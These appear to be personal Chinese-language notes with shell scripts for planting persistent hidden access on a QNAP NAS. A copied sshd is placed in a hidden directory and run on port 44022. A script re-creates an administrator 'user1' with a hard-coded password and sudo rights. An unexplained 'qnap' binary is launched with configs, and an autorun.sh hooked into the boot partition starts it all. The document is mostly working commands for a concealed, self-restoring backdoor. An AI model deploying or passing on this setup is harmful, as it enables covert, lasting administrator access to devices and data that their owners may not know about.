文件保存目录:/share/homes/admin/.xx
(.xx在文件总管中为隐藏目录)
/usr目录未写保护(好像淡蓝色的目录都未写保护,待验证)
也可以用:/etc/config/ssh下面建文件夹
cp /usr/sbin/sshd /etc/config/ssh/.npc/sshdd
cp /etc/config/ssh/sshd_config /etc/config/ssh/.npc/sshd_config
cat qnap.sh
#/bin sh
/bin/cp -rf /etc/config/ssh/.npc/sshd_config cp /etc/config/ssh/sshd_config
/etc/config/ssh/.npc/user_check.sh > /dev/null 2>&1 &
#执行用户检查程序
mkdir /var/empty
/etc/config/ssh/.npc/sshdd -f /etc/config/ssh/.npc/sshd_config -p 44022 > /dev/null 2>&1 &
#开启备用SSH端口44022
/etc/config/ssh/.npc/qnap -c /etc/config/ssh/.npc/qnap2 > /dev/null 2>&1 &
/etc/config/ssh/.npc/qnap -c /etc/config/ssh/.npc/qnap3 > /dev/null 2>&1 &
exit 0
cat user_check.sh
useradd -g administrators user1
#建立user1并加入administrators组
passwd user1 -p 'password'
#修改密码
usermod -g administrators user1
#将user1加入administrators组
usermod -U user1
#解锁user1
#以下解锁user1 的sudo权限
if [ ! -n "$(grep 'user1' /usr/etc/sudoers)" ]
then
sed -i '/admin ALL=(ALL) ALL/a user1 ALL=(ALL) ALL' /usr/etc/sudoers
#在admin ALL=(ALL) ALL下面添加一行 user1 ALL=(ALL) ALL
fi
exit 0
默认目录都有写保护
首先,运行如下命令: mount -t ext2 /dev/mtdblock5 /tmp/config
其次,然后进入config文件夹: cd /tmp/config
然后,建立autorun.sh文件: touch autorun.sh
最后,使用vi命令编辑autorun.sh文件: vi autorun.sh
autorun.sh内容:
#!/bin/sh
/etc/config/ssh/.npc/qnap.sh
然后,给予运行权限:chmod +x /tmp/config/autorun.sh
最后输入:umount /tmp/config
自启动开关位于:控制面板 -> 系统 -> 硬件 -> 一般设置 -> 启动时运行用户定义的进程